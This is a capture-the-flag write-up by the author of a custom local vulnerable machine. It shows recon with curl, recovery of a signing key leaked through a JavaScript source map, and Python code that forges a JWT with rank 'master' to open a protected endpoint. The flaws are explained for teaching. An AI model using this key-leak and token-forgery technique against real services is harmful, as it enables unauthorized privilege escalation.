9 min read

Hacker Blind Box #001: Yunhai Sword Sect — Claiming the Grandmaster's Secret Teachings (Custom Vulnerable Machine)

Hacker Blind Box #001: Yunhai Sword Sect — Claiming the Grandmaster's Secret Teachings (Custom Vulnerable Machine)
📚 Series · Hacker Blind Box · Custom Vulnerable Machines
  1. ▸ #001 Yunhai Sword Sect — JWT key leak via source map (this post)
  2. #002 Listening Rain Inn — NoSQL injection & XFF bypass
  3. #003 The Unlit City — JWT forgery & IDOR
Difficulty: Easy

Prologue: What's In This Box

This is the first box in the "Hacker Blind Box" series, and also the first vulnerable machine I've built myself. Every box gets checked over by codex, so feel free to download it and play~

This one is called Yunhai Sword Sect. Shen Xiaoshi, an outer-sect disciple, wants to read the Grandmaster's secret teachings!

Below I run two tracks in parallel. The solution track uses "we" and walks the whole path step by step; the design track switches back to "I" and talks about why each trap was placed where it was. If you want to play it yourself first, you can close this post right after "Setting Up the Environment."

1. Setting Up the Environment

unzip hacker-blindbox-003-yunhai-sword-sect.zip
cd yunhai-sword-sect-box-003
docker compose up --build -d

Once it's running, open your browser:

http://127.0.0.1:8089/

The Three Precepts (carried over from the notes inside the box):

  1. Strike only at the local mountain gate.
  2. No token enumeration or brute forcing required.
  3. Every clue lies somewhere the player can reach.
The second precept isn't a politeness notice — it's me deliberately amputating an entire wrong path for you.

An HS256 box makes people reflexively fire up hashcat to crack the key, burn three hours, get nothing, and start swearing. I don't want that kind of frustration — this box tests observation, not compute. So I wrote it into the precepts. By the time you reach section 5 you'll realise the key was lying somewhere you could reach the whole time.

2. First Visit: Collect a Token

The homepage is "Outer Sect Trial · Stage One," with a single button in the middle: Request a token from the gatekeeper.

Click it and the site issues a JWT, and very helpfully unpacks the Header and Payload for you:

// Header
{
  "alg": "HS256",
  "typ": "JWT"
}

// Payload
{
  "exp": 1785745134,
  "iat": 1785737934,
  "name": "沈小石",
  "rank": "outer",
  "sub": "outer-disciple-17"
}

A note at the bottom of the page states: "This only unpacks the two readable segments of the token. It does not verify the signature, and it will not modify the token for you."

What We're Looking At

Field Value Reading
alg HS256 Symmetric signature — the same key both signs and verifies. Leak the key and you can forge whatever token you like
rank outer This is the target. A privilege field sitting right out in the open is practically an invitation to edit it
sub outer-disciple-17 Identity
exp - iat 7200 Valid for two hours — plenty of time, no rush to re-issue

HS256 plus a field literally called rank, and the roadmap basically draws itself: find a way to sign a token with a higher rank.

Question is, where's the key?

That line — "it does not verify the signature, and it will not modify the token for you" — is there on purpose.

On the surface it's a disclaimer. In practice it hints at something: this decoder is pure front-end, all it does is base64 decode. Want to change the token? Do it yourself. I'll hand you the tool and lay the fields out for you, but the lock is yours to find.

Setting the lifetime to 7200 seconds was deliberate too. Too short and players keep re-issuing tokens and get twitchy; too long and you lose the felt reality that tokens expire. Two hours is just enough for one unhurried round of recon.

3. The Real Clue: The Gatekeeper's Notes

Tucked in a corner of the page is something that reads like pure flavour text:

"There is a forgotten map in the martial world, and it does not necessarily draw mountains and rivers." —— The handwriting is messy, the ink looking like a rubbing taken from the end of some old scroll.

It's the kind of thing people skim past as decoration, but in a hand-built box the narrative text is often the hint itself. Pull it apart and those two sentences carry three variables:

  • "map" — in a website context, the most instinctive association is sitemap.xml
  • "does not necessarily draw mountains and rivers" — but it actively negates the geographic reading, and that's the key qualifier
  • "the end of some old scroll" — the thing is hidden at the very end of some file

Let's try the most instinctive guess first:

curl -sS http://127.0.0.1:8089/robots.txt
curl -sS http://127.0.0.1:8089/sitemap.xml
{"error":"not_found"}
{"error":"not_found"}

Dead end.

A Dead End Is Also Intel

Try again with the token, and with every way of carrying it (Bearer, raw, Cookie, custom header, query string). All of them come back with the same 404 and the same 21 bytes:

U=http://127.0.0.1:8089/sitemap.xml
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" -H "Authorization: Bearer $TOKEN" $U
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" -H "Cookie: token=$TOKEN" $U
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" "$U?token=$TOKEN"
# all 404 21

Identical length means this isn't an authorization block, the route was simply never registered. Those two files genuinely don't exist.

But this round of recon did dredge up two useful things. First, look at the full response headers:

HTTP/1.0 404 Not Found
Server: YunhaiGate/1.0
Content-Security-Policy: default-src 'self'; img-src 'self' data:;
  style-src 'self' 'unsafe-inline'; script-src 'self'; object-src 'none';
  base-uri 'none'; frame-ancestors 'none'; form-action 'self'
Content-Type: application/json; charset=utf-8

Security headers are intel in their own right — something that gets overlooked constantly in real recon. A defensive configuration protects you, but it also describes what your architecture looks like.

4. Digging Down Through the JS

curl -sS http://127.0.0.1:8089/ | grep -Eo '(src|href)="[^"]+"'
href="/static/style.css"
src="/static/app.js"

Consistent with what the CSP implied. Let's look at the end of that JS file — don't forget "the end of some old scroll":

curl -sS http://127.0.0.1:8089/static/app.js | tail -8
  requestButton.addEventListener("click", requestEntryPass);
  copyButton.addEventListener("click", copyToken);
})();
//# sourceMappingURL=/static/app.js.map

Bingo.

Look back at the riddle and every single word lines up now:

  • "map" → a map file
  • "does not necessarily draw mountains and rivers" → not a sitemap, a source map
  • "a rubbing taken from the end of some old scroll" → the sourceMappingURL comment is always on the last line of a JS file

While we're here, let's confirm the API paths too:

curl -sS http://127.0.0.1:8089/static/app.js | grep -Eo '"/[a-zA-Z0-9_/.:-]+"' | sort -u
# "/"
# "/api/entry-pass"

5. Opening the Map: What's Lying Inside the Source Map

curl -sS http://127.0.0.1:8089/static/app.js.map -o app.js.map
python3 -m json.tool app.js.map

Only 1219 bytes, but the contents are a feast:

{
  "version": 3,
  "file": "app.js",
  "sources": ["webpack://yunhai-player/./legacy/deployment-config.ts"],
  "sourcesContent": ["..."],
  "x_legacy_deployment": {
    "SIGNING_KEY": "yunhai-sect-ink-seal-1739",
    "VAULT_ENDPOINT": "/vault/scroll",
    "REQUIRED_RANK": "master",
    "AUTH_HEADER": "Authorization: Bearer <token>",
    "context": "1739 版舊山門部署設定;僅供除錯,不含最終 flag。"
  }
}

Dump out sourcesContent to recover the original source:

python3 - <<'EOF'
import json, os
m = json.load(open('app.js.map'))
os.makedirs('src', exist_ok=True)
for name, content in zip(m['sources'], m.get('sourcesContent') or []):
    if content is None: continue
    p = 'src/' + os.path.basename(name)
    open(p, 'w').write(content)
    print(f"[+] {p}  ({len(content)} bytes)")
EOF

Which gives us src/deployment-config.ts:

/**
 * Yunhai Sword Sect player-side · legacy deployment config
 *
 * This config was once used by the front-end diagnostic tooling in the trial environment.
 * It is no longer imported by the main program after the rewrite, but the 1739 build
 * pipeline still bundles the source into the debug map, kept around so the old mountain
 * gate can chase down deployment issues.
 * Note: this is not the final sword manual, and it contains no flag of any kind.
 */

export const SIGNING_KEY = 'yunhai-sect-ink-seal-1739';
export const VAULT_ENDPOINT = '/vault/scroll';
export const REQUIRED_RANK = 'master';
export const AUTH_HEADER = 'Authorization: Bearer <token>';

// Legacy acceptance notes: the inner-court endpoint decides whether to hand over the
// Grandmaster's scroll based on the signature and the rank.
// Call format: GET VAULT_ENDPOINT, carrying the token in the AUTH_HEADER style.

All four puzzle pieces at once:

What we got Value
Signing key yunhai-sect-ink-seal-1739
Target endpoint /vault/scroll
Required identity rank: master
How to carry it Authorization: Bearer <token>

Looking back at the second precept — "no token enumeration or brute forcing required" — it makes complete sense now.

6. Self-Signing a Grandmaster Token

Key in hand, let's just sign a rank: master token:

import jwt, time

now = int(time.time())
payload = {
    "exp": now + 7200,
    "iat": now,
    "name": "沈小石",
    "rank": "master",
    "sub": "outer-disciple-17",
}
print(jwt.encode(payload, "yunhai-sect-ink-seal-1739", algorithm="HS256"))

If you'd rather not install pyjwt, the pure standard-library version is about ten lines:

import base64, hmac, hashlib, json, time

b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode()
enc = lambda d: b64(json.dumps(d, separators=(',', ':'), ensure_ascii=False).encode())

now = int(time.time())
h = {"alg": "HS256", "typ": "JWT"}
p = {"exp": now + 7200, "iat": now, "name": "沈小石",
     "rank": "master", "sub": "outer-disciple-17"}

msg = f"{enc(h)}.{enc(p)}"
sig = b64(hmac.new(b"yunhai-sect-ink-seal-1739", msg.encode(), hashlib.sha256).digest())
print(f"{msg}.{sig}")

Knock on the door:

MASTER='<the token you just printed>'
curl -sSi -H "Authorization: Bearer $MASTER" http://127.0.0.1:8089/vault/scroll
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8

The stone gate swings open.

8. The Full Attack Chain

Grab a JWT from the homepage (HS256, rank=outer)
   │
   │  "the map draws no mountains; the ink was rubbed from a scroll's end"
   ▼
last line of /static/app.js → //# sourceMappingURL
   │
   ▼
/static/app.js.map ← legacy config accidentally bundled at deploy time
   │
   │  leaks SIGNING_KEY / VAULT_ENDPOINT / REQUIRED_RANK
   ▼
self-sign a JWT with rank=master
   │
   ▼
GET /vault/scroll  →  🚩 flag

10. Vulnerability Breakdown: It Only Turns Fatal When the Two Stack

What I actually wanted to teach with this box isn't the thin one-liner "source maps leak things." It's the product of two layers of defects, and patching either layer breaks the whole chain.

Layer One: Build Artifacts Leaking Credentials

The .map file shipped to production alongside everything else, and a hardcoded signing key was lying inside it.

This isn't fiction, it's a real-world vulnerability. Front-end build pipelines generate source maps by default; teams forget to turn that off in production, or they turn it off but an old build is still sitting on the CDN. What's typically inside:

  • Unminified source and the complete directory structure
  • Internal API paths and feature flags that haven't shipped yet
  • Comments, TODOs, and developers' internal discussions
  • Sometimes, the credentials themselves

.js.map belongs on your standing recon checklist. Whenever you grab a JS file, tail the last line. It costs two seconds.

Layer Two: Blindly Trusting a Client-Side Claim

This layer is actually the more serious one.

The backend decides whether to hand over the scroll based purely on the rank field inside the JWT, never going back to check what privileges the identity sub=outer-disciple-17 should actually have.

Which means: even if the key had never leaked, the day it gets out for some other reason — a Git commit, an environment variable dump, a log leak, a departing employee — the entire authorization model drops to zero. Privilege decisions rest entirely on the single assumption that "the token wasn't forged," with no second line of defence.

A JWT is proof of identity, not proof of authorization. Plenty of implementations conflate the two.

I stacked the two layers together because teaching only the first one would mislead people.

If this box only tested source map leakage, the player's takeaway would be "just turn off source maps and you're fine" — which is wrong. That only buries the key a little deeper. The real architectural problem is that the backend unconditionally trusts the rank inside the token, and that problem existed long before the key leaked. It just hadn't been triggered yet.

This is also one of my principles when designing a blind box: the flag should be gettable, but there has to be something left to think about once you have it. A single-vulnerability box is over the moment you solve it; a two-layer stack forces you to ask "so where did this actually go wrong?"

Closing Thoughts

What this box really tests is reading.

The robots.txt and sitemap.xml dead ends were laid deliberately — they test whether you get shackled to the literal meaning. The CSP header is free architectural intel — it tests whether you read response headers. And "does not necessarily draw mountains and rivers" is the hinge of the whole level — it tests whether you treat narrative text as a hint.

Tools can run every path for you, but finishing the run isn't the same as finishing the read.

The mountain gate is open. See you at the next box.

This post is a writeup for a vulnerable machine I built myself. The machine is for local study only — please do not use any of the techniques here against targets you are not authorized to test.